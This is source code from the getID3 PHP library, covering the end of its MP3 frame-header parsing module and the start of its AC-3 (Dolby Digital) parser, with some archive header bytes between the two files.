						$distinct_bitrates = 0;
						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) {
							if ($bitrate_count > 0) {
								$distinct_bitrates++;
							}
						}
						if ($distinct_bitrates > 1) {
							$info['mpeg']['audio']['bitrate_mode'] = 'vbr';
						} else {
							$info['mpeg']['audio']['bitrate_mode'] = 'cbr';
						}
						$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];

					}

					break; // exit while()
				}
			}

			$SynchSeekOffset++;
			if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) {
				// end of file/data

				if (empty($info['mpeg']['audio'])) {

					$this->error('could not find valid MPEG synch before end of file');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) {
						unset($info['mpeg']);
					}
					return false;

				}
				break;
			}

		}
		$info['audio']['channels']        = $info['mpeg']['audio']['channels'];
		if ($info['audio']['channels'] < 1) {
			$this->error('Corrupt MP3 file: no channels');
			return false;
		}
		$info['audio']['channelmode']     = $info['mpeg']['audio']['channelmode'];
		$info['audio']['sample_rate']     = $info['mpeg']['audio']['sample_rate'];
		return true;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioVersionArray() {
		static $MPEGaudioVersion = array('2.5', false, '2', '1');
		return $MPEGaudioVersion;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioLayerArray() {
		static $MPEGaudioLayer = array(false, 3, 2, 1);
		return $MPEGaudioLayer;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioBitrateArray() {
		static $MPEGaudioBitrate;
		if (empty($MPEGaudioBitrate)) {
			$MPEGaudioBitrate = array (
				'1' => array(
					1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000),
					2 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000),
					3 => array('free', 32000, 40000, 48000,  56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000)
				),
				'2' => array(
					1 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000),
					2 => array('free',  8000, 16000, 24000,  32000,  40000,  48000,  56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000),
				),
			);
			$MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2];
			$MPEGaudioBitrate['2.5']  = $MPEGaudioBitrate['2'];
		}
		return $MPEGaudioBitrate;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioFrequencyArray() {
		static $MPEGaudioFrequency;
		if (empty($MPEGaudioFrequency)) {
			$MPEGaudioFrequency = array (
				'1'   => array(44100, 48000, 32000),
				'2'   => array(22050, 24000, 16000),
				'2.5' => array(11025, 12000,  8000)
			);
		}
		return $MPEGaudioFrequency;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioChannelModeArray() {
		static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono');
		return $MPEGaudioChannelMode;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioModeExtensionArray() {
		static $MPEGaudioModeExtension;
		if (empty($MPEGaudioModeExtension)) {
			$MPEGaudioModeExtension = array (
				1 => array('4-31', '8-31', '12-31', '16-31'),
				2 => array('4-31', '8-31', '12-31', '16-31'),
				3 => array('', 'IS', 'MS', 'IS+MS')
			);
		}
		return $MPEGaudioModeExtension;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioEmphasisArray() {
		static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17');
		return $MPEGaudioEmphasis;
	}

	/**
	 * @param string $head4
	 * @param bool   $allowBitrate15
	 *
	 * @return bool
	 */
	public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) {
		return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15);
	}

	/**
	 * @param array $rawarray
	 * @param bool  $echoerrors
	 * @param bool  $allowBitrate15
	 *
	 * @return bool
	 */
	public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) {
		if (!isset($rawarray['synch']) || ($rawarray['synch'] & 0x0FFE) != 0x0FFE) {
			return false;
		}

		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		static $MPEGaudioFrequencyLookup;
		static $MPEGaudioChannelModeLookup;
		static $MPEGaudioModeExtensionLookup;
		static $MPEGaudioEmphasisLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		}

		if (isset($MPEGaudioVersionLookup[$rawarray['version']])) {
			$decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']];
		} else {
			echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : '');
			return false;
		}
		if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) {
			$decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']];
		} else {
			echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) {
			echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : '');
			if ($rawarray['bitrate'] == 15) {
				// known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0
				// let it go through here otherwise file will not be identified
				if (!$allowBitrate15) {
					return false;
				}
			} else {
				return false;
			}
		}
		if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) {
			echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) {
			echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) {
			echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) {
			echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : '');
			return false;
		}
		// These are just either set or not set, you can't mess that up :)
		// $rawarray['protection'];
		// $rawarray['padding'];
		// $rawarray['private'];
		// $rawarray['copyright'];
		// $rawarray['original'];

		return true;
	}

	/**
	 * @param string $Header4Bytes
	 *
	 * @return array|false
	 */
	public static function MPEGaudioHeaderDecode($Header4Bytes) {
		// AAAA AAAA  AAAB BCCD  EEEE FFGH  IIJJ KLMM
		// A - Frame sync (all bits set)
		// B - MPEG Audio version ID
		// C - Layer description
		// D - Protection bit
		// E - Bitrate index
		// F - Sampling rate frequency index
		// G - Padding bit
		// H - Private bit
		// I - Channel Mode
		// J - Mode extension (Only if Joint stereo)
		// K - Copyright
		// L - Original
		// M - Emphasis

		if (strlen($Header4Bytes) != 4) {
			return false;
		}

		$MPEGrawHeader = array();
		$MPEGrawHeader['synch']         = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4;
		$MPEGrawHeader['version']       = (ord($Header4Bytes[1]) & 0x18) >> 3; //    BB
		$MPEGrawHeader['layer']         = (ord($Header4Bytes[1]) & 0x06) >> 1; //      CC
		$MPEGrawHeader['protection']    = (ord($Header4Bytes[1]) & 0x01);      //        D
		$MPEGrawHeader['bitrate']       = (ord($Header4Bytes[2]) & 0xF0) >> 4; // EEEE
		$MPEGrawHeader['sample_rate']   = (ord($Header4Bytes[2]) & 0x0C) >> 2; //     FF
		$MPEGrawHeader['padding']       = (ord($Header4Bytes[2]) & 0x02) >> 1; //       G
		$MPEGrawHeader['private']       = (ord($Header4Bytes[2]) & 0x01);      //        H
		$MPEGrawHeader['channelmode']   = (ord($Header4Bytes[3]) & 0xC0) >> 6; // II
		$MPEGrawHeader['modeextension'] = (ord($Header4Bytes[3]) & 0x30) >> 4; //   JJ
		$MPEGrawHeader['copyright']     = (ord($Header4Bytes[3]) & 0x08) >> 3; //     K
		$MPEGrawHeader['original']      = (ord($Header4Bytes[3]) & 0x04) >> 2; //      L
		$MPEGrawHeader['emphasis']      = (ord($Header4Bytes[3]) & 0x03);      //       MM

		return $MPEGrawHeader;
	}

	/**
	 * @param int|string $bitrate
	 * @param string     $version
	 * @param string     $layer
	 * @param bool       $padding
	 * @param int        $samplerate
	 *
	 * @return int|false
	 */
	public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) {
		static $AudioFrameLengthCache = array();

		if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) {
			$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false;
			if ($bitrate != 'free') {

				if ($version == '1') {

					if ($layer == '1') {

						// For Layer I slot is 32 bits long
						$FrameLengthCoefficient = 48;
						$SlotLength = 4;

					} else { // Layer 2 / 3

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 144;
						$SlotLength = 1;

					}

				} else { // MPEG-2 / MPEG-2.5

					if ($layer == '1') {

						// For Layer I slot is 32 bits long
						$FrameLengthCoefficient = 24;
						$SlotLength = 4;

					} elseif ($layer == '2') {

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 144;
						$SlotLength = 1;

					} else { // layer 3

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 72;
						$SlotLength = 1;

					}

				}

				// FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding
				if ($samplerate > 0) {
					$NewFramelength  = ($FrameLengthCoefficient * $bitrate) / $samplerate;
					$NewFramelength  = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I)
					if ($padding) {
						$NewFramelength += $SlotLength;
					}
					$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength;
				}
			}
		}
		return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate];
	}

	/**
	 * @param float|int $bit_rate
	 *
	 * @return int|float|string
	 */
	public static function ClosestStandardMP3Bitrate($bit_rate) {
		static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000);
		static $bit_rate_table = array (0=>'-');
		$round_bit_rate = intval(round($bit_rate, -3));
		if (!isset($bit_rate_table[$round_bit_rate])) {
			if ($round_bit_rate > max($standard_bit_rates)) {
				$bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate));
			} else {
				$bit_rate_table[$round_bit_rate] = max($standard_bit_rates);
				foreach ($standard_bit_rates as $standard_bit_rate) {
					if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) {
						break;
					}
					$bit_rate_table[$round_bit_rate] = $standard_bit_rate;
				}
			}
		}
		return $bit_rate_table[$round_bit_rate];
	}

	/**
	 * @param string $version
	 * @param string $channelmode
	 *
	 * @return int
	 */
	public static function XingVBRidOffset($version, $channelmode) {
		static $XingVBRidOffsetCache = array();
		if (empty($XingVBRidOffsetCache)) {
			$XingVBRidOffsetCache = array (
				'1'   => array ('mono'          => 0x15, // 4 + 17 = 21
								'stereo'        => 0x24, // 4 + 32 = 36
								'joint stereo'  => 0x24,
								'dual channel'  => 0x24
							   ),

				'2'   => array ('mono'          => 0x0D, // 4 +  9 = 13
								'stereo'        => 0x15, // 4 + 17 = 21
								'joint stereo'  => 0x15,
								'dual channel'  => 0x15
							   ),

				'2.5' => array ('mono'          => 0x15,
								'stereo'        => 0x15,
								'joint stereo'  => 0x15,
								'dual channel'  => 0x15
							   )
			);
		}
		return $XingVBRidOffsetCache[$version][$channelmode];
	}

	/**
	 * @param int $VBRmethodID
	 *
	 * @return string
	 */
	public static function LAMEvbrMethodLookup($VBRmethodID) {
		static $LAMEvbrMethodLookup = array(
			0x00 => 'unknown',
			0x01 => 'cbr',
			0x02 => 'abr',
			0x03 => 'vbr-old / vbr-rh',
			0x04 => 'vbr-new / vbr-mtrh',
			0x05 => 'vbr-mt',
			0x06 => 'vbr (full vbr method 4)',
			0x08 => 'cbr (constant bitrate 2 pass)',
			0x09 => 'abr (2 pass)',
			0x0F => 'reserved'
		);
		return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : '');
	}

	/**
	 * @param int $StereoModeID
	 *
	 * @return string
	 */
	public static function LAMEmiscStereoModeLookup($StereoModeID) {
		static $LAMEmiscStereoModeLookup = array(
			0 => 'mono',
			1 => 'stereo',
			2 => 'dual mono',
			3 => 'joint stereo',
			4 => 'forced stereo',
			5 => 'auto',
			6 => 'intensity stereo',
			7 => 'other'
		);
		return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : '');
	}

	/**
	 * @param int $SourceSampleFrequencyID
	 *
	 * @return string
	 */
	public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) {
		static $LAMEmiscSourceSampleFrequencyLookup = array(
			0 => '<= 32 kHz',
			1 => '44.1 kHz',
			2 => '48 kHz',
			3 => '> 48kHz'
		);
		return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : '');
	}

	/**
	 * @param int $SurroundInfoID
	 *
	 * @return string
	 */
	public static function LAMEsurroundInfoLookup($SurroundInfoID) {
		static $LAMEsurroundInfoLookup = array(
			0 => 'no surround info',
			1 => 'DPL encoding',
			2 => 'DPL2 encoding',
			3 => 'Ambisonic encoding'
		);
		return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved');
	}

	/**
	 * @param array $LAMEtag
	 *
	 * @return string
	 */
	public static function LAMEpresetUsedLookup($LAMEtag) {

		if ($LAMEtag['preset_used_id'] == 0) {
			// no preset used (LAME >=3.93)
			// no preset recorded (LAME <3.93)
			return '';
		}
		$LAMEpresetUsedLookup = array();

		/////  THIS PART CANNOT BE STATIC .
		for ($i = 8; $i <= 320; $i++) {
			switch ($LAMEtag['vbr_method']) {
				case 'cbr':
					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i;
					break;
				case 'abr':
				default: // other VBR modes shouldn't be here(?)
					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$i;
					break;
			}
		}

		// named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions()

		// named alt-presets
		$LAMEpresetUsedLookup[1000] = '--r3mix';
		$LAMEpresetUsedLookup[1001] = '--alt-preset standard';
		$LAMEpresetUsedLookup[1002] = '--alt-preset extreme';
		$LAMEpresetUsedLookup[1003] = '--alt-preset insane';
		$LAMEpresetUsedLookup[1004] = '--alt-preset fast standard';
		$LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme';
		$LAMEpresetUsedLookup[1006] = '--alt-preset medium';
		$LAMEpresetUsedLookup[1007] = '--alt-preset fast medium';

		// LAME 3.94 additions/changes
		$LAMEpresetUsedLookup[1010] = '--preset portable';                                                           // 3.94a15 Oct 21 2003
		$LAMEpresetUsedLookup[1015] = '--preset radio';                                                              // 3.94a15 Oct 21 2003

		$LAMEpresetUsedLookup[320]  = '--preset insane';                                                             // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[410]  = '-V9';
		$LAMEpresetUsedLookup[420]  = '-V8';
		$LAMEpresetUsedLookup[440]  = '-V6';
		$LAMEpresetUsedLookup[430]  = '--preset radio';                                                              // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[450]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable';  // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[460]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium';    // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[470]  = '--r3mix';                                                                     // 3.94b1  Dec 18 2003
		$LAMEpresetUsedLookup[480]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard';  // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[490]  = '-V1';
		$LAMEpresetUsedLookup[500]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme';   // 3.94a15 Nov 12 2003

		return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org');
	}

}
PKE]ؙؙmodule.audio.ac3.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.ac3.php                                        //
// module for analyzing AC-3 (aka Dolby Digital) audio files   //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_ac3 extends getid3_handler
{
	/**
	 * @var array
	 */
	private $AC3header = array();

	/**
	 * @var int
	 */
	private $BSIoffset = 0;

	const syncword = 0x0B77;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		///AH
		$info['ac3']['raw']['bsi'] = array();
		$thisfile_ac3              = &$info['ac3'];
		$thisfile_ac3_raw          = &$thisfile_ac3['raw'];
		$thisfile_ac3_raw_bsi      = &$thisfile_ac3_raw['bsi'];


		// http://www.atsc.org/standards/a_52a.pdf

		$info['fileformat'] = 'ac3';

		// An AC-3 serial coded audio bit stream is made up of a sequence of synchronization frames
		// Each synchronization frame contains 6 coded audio blocks (AB), each of which represent 256
		// new audio samples per channel. A synchronization information (SI) header at the beginning
		// of each frame contains information needed to acquire and maintain synchronization. A
		// bit stream information (BSI) header follows SI, and contains parameters describing the coded
		// audio service. The coded audio blocks may be followed by an auxiliary data (Aux) field. At the
		// end of each frame is an error check field that includes a CRC word for error detection. An
		// additional CRC word is located in the SI header, the use of which, by a decoder, is optional.
		//
		// syncinfo() | bsi() | AB0 | AB1 | AB2 | AB3 | AB4 | AB5 | Aux | CRC

		// syncinfo() {
		// 	 syncword    16
		// 	 crc1        16
		// 	 fscod        2
		// 	 frmsizecod   6
		// } /* end of syncinfo */

		$this->fseek($info['avdataoffset']);
		$tempAC3header = $this->fread(100); // should be enough to cover all data, there are some variable-length fields...?
		$this->AC3header['syncinfo']  =     getid3_lib::BigEndian2Int(substr($tempAC3header, 0, 2));
		$this->AC3header['bsi']       =     getid3_lib::BigEndian2Bin(substr($tempAC3header, 2));
		$thisfile_ac3_raw_bsi['bsid'] = (getid3_lib::LittleEndian2Int(substr($tempAC3header, 5, 1)) & 0xF8) >> 3; // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense
		unset($tempAC3header);

		if ($this->AC3header['syncinfo'] !== self::syncword) {
			if (!$this->isDependencyFor('matroska')) {
				unset($info['fileformat'], $info['ac3']);
				return $this->error('Expecting "'.dechex(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.dechex($this->AC3header['syncinfo']).'"');
			}
		}

		$info['audio']['dataformat']   = 'ac3';
		$info['audio']['bitrate_mode'] = 'cbr';
		$info['audio']['lossless']     = false;

		if ($thisfile_ac3_raw_bsi['bsid'] <= 8) {

			$thisfile_ac3_raw_bsi['crc1']       = getid3_lib::Bin2Dec($this->readHeaderBSI(16));
			$thisfile_ac3_raw_bsi['fscod']      =                     $this->readHeaderBSI(2);   // 5.4.1.3
			$thisfile_ac3_raw_bsi['frmsizecod'] =                     $this->readHeaderBSI(6);   // 5.4.1.4
			if ($thisfile_ac3_raw_bsi['frmsizecod'] > 37) { // binary: 100101 - see Table 5.18 Frame Size Code Table (1 word = 16 bits)
				$this->warning('Unexpected ac3.bsi.frmsizecod value: '.$thisfile_ac3_raw_bsi['frmsizecod'].', bitrate not set correctly');
			}

			$thisfile_ac3_raw_bsi['bsid']  = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended
			$thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3);

			if ($thisfile_ac3_raw_bsi['acmod'] & 0x01) {
				// If the lsb of acmod is a 1, center channel is in use and cmixlev follows in the bit stream.
				$thisfile_ac3_raw_bsi['cmixlev'] = $this->readHeaderBSI(2);
				$thisfile_ac3['center_mix_level'] = self::centerMixLevelLookup($thisfile_ac3_raw_bsi['cmixlev']);
			}

			if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) {
				// If the msb of acmod is a 1, surround channels are in use and surmixlev follows in the bit stream.
				$thisfile_ac3_raw_bsi['surmixlev'] = $this->readHeaderBSI(2);
				$thisfile_ac3['surround_mix_level'] = self::surroundMixLevelLookup($thisfile_ac3_raw_bsi['surmixlev']);
			}

			if ($thisfile_ac3_raw_bsi['acmod'] == 0x02) {
				// When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround.
				$thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2);
				$thisfile_ac3['dolby_surround_mode'] = self::dolbySurroundModeLookup($thisfile_ac3_raw_bsi['dsurmod']);
			}

			$thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1);

			// This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31.
			// The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.
			$thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5);                 // 5.4.2.8 dialnorm: Dialogue Normalization, 5 Bits

			$thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1);       // 5.4.2.9 compre: Compression Gain Word Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['compr']) {
				$thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8);                // 5.4.2.10 compr: Compression Gain Word, 8 Bits
				$thisfile_ac3['heavy_compression'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr']);
			}

			$thisfile_ac3_raw_bsi['flags']['langcod'] = (bool) $this->readHeaderBSI(1);     // 5.4.2.11 langcode: Language Code Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['langcod']) {
				$thisfile_ac3_raw_bsi['langcod'] = $this->readHeaderBSI(8);              // 5.4.2.12 langcod: Language Code, 8 Bits
			}

			$thisfile_ac3_raw_bsi['flags']['audprodinfo'] = (bool) $this->readHeaderBSI(1);  // 5.4.2.13 audprodie: Audio Production Information Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['audprodinfo']) {
				$thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5);             // 5.4.2.14 mixlevel: Mixing Level, 5 Bits
				$thisfile_ac3_raw_bsi['roomtyp']  = $this->readHeaderBSI(2);             // 5.4.2.15 roomtyp: Room Type, 2 Bits

				$thisfile_ac3['mixing_level'] = (80 + $thisfile_ac3_raw_bsi['mixlevel']).'dB';
				$thisfile_ac3['room_type']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp']);
			}


			$thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5);                // 5.4.2.16 dialnorm2: Dialogue Normalization, ch2, 5 Bits
			$thisfile_ac3['dialogue_normalization2'] = '-'.$thisfile_ac3_raw_bsi['dialnorm2'].'dB';  // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.

			$thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1);       // 5.4.2.17 compr2e: Compression Gain Word Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['compr2']) {
				$thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8);               // 5.4.2.18 compr2: Compression Gain Word, ch2, 8 Bits
				$thisfile_ac3['heavy_compression2'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr2']);
			}

			$thisfile_ac3_raw_bsi['flags']['langcod2'] = (bool) $this->readHeaderBSI(1);    // 5.4.2.19 langcod2e: Language Code Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['langcod2']) {
				$thisfile_ac3_raw_bsi['langcod2'] = $this->readHeaderBSI(8);             // 5.4.2.20 langcod2: Language Code, ch2, 8 Bits
			}

			$thisfile_ac3_raw_bsi['flags']['audprodinfo2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.21 audprodi2e: Audio Production Information Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['audprodinfo2']) {
				$thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5);            // 5.4.2.22 mixlevel2: Mixing Level, ch2, 5 Bits
				$thisfile_ac3_raw_bsi['roomtyp2']  = $this->readHeaderBSI(2);            // 5.4.2.23 roomtyp2: Room Type, ch2, 2 Bits

				$thisfile_ac3['mixing_level2'] = (80 + $thisfile_ac3_raw_bsi['mixlevel2']).'dB';
				$thisfile_ac3['room_type2']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp2']);
			}

			$thisfile_ac3_raw_bsi['copyright'] = (bool) $this->readHeaderBSI(1);         // 5.4.2.24 copyrightb: Copyright Bit, 1 Bit

			$thisfile_ac3_raw_bsi['original']  = (bool) $this->readHeaderBSI(1);         // 5.4.2.25 origbs: Original Bit Stream, 1 Bit

			$thisfile_ac3_raw_bsi['flags']['timecod1'] = $this->readHeaderBSI(2);            // 5.4.2.26 timecod1e, timcode2e: Time Code (first and second) Halves Exist, 2 Bits
			if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x01) {
				$thisfile_ac3_raw_bsi['timecod1'] = $this->readHeaderBSI(14);            // 5.4.2.27 timecod1: Time code first half, 14 bits
				$thisfile_ac3['timecode1'] = 0;
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x3E00) >>  9) * 3600;  // The first 5 bits of this 14-bit field represent the time in hours, with valid values of 0�23
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x01F8) >>  3) *   60;  // The next 6 bits represent the time in minutes, with valid values of 0�59
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x0003) >>  0) *    8;  // The final 3 bits represents the time in 8 second increments, with valid values of 0�7 (representing 0, 8, 16, ... 56 seconds)
			}
			if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x02) {
				$thisfile_ac3_raw_bsi['timecod2'] = $this->readHeaderBSI(14);            // 5.4.2.28 timecod2: Time code second half, 14 bits
				$thisfile_ac3['timecode2'] = 0;
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x3800) >> 11) *   1;              // The first 3 bits of this 14-bit field represent the time in seconds, with valid values from 0�7 (representing 0-7 seconds)
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x07C0) >>  6) *  (1 / 30);        // The next 5 bits represents the time in frames, with valid values from 0�29 (one frame = 1/30th of a second)
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x003F) >>  0) * ((1 / 30) / 60);  // The final 6 bits represents fractions of 1/64 of a frame, with valid values from 0�63
			}

			$thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['addbsi']) {
				$thisfile_ac3_raw_bsi['addbsi_length'] = $this->readHeaderBSI(6) + 1; // This 6-bit code, which exists only if addbside is a 1, indicates the length in bytes of additional bit stream information. The valid range of addbsil is 0�63, indicating 1�64 additional bytes, respectively.

				$this->AC3header['bsi'] .= getid3_lib::BigEndian2Bin($this->fread($thisfile_ac3_raw_bsi['addbsi_length']));

				$thisfile_ac3_raw_bsi['addbsi_data'] = substr($this->AC3header['bsi'], $this->BSIoffset, $thisfile_ac3_raw_bsi['addbsi_length'] * 8);
				$this->BSIoffset += $thisfile_ac3_raw_bsi['addbsi_length'] * 8;
			}


		} elseif ($thisfile_ac3_raw_bsi['bsid'] <= 16) { // E-AC3


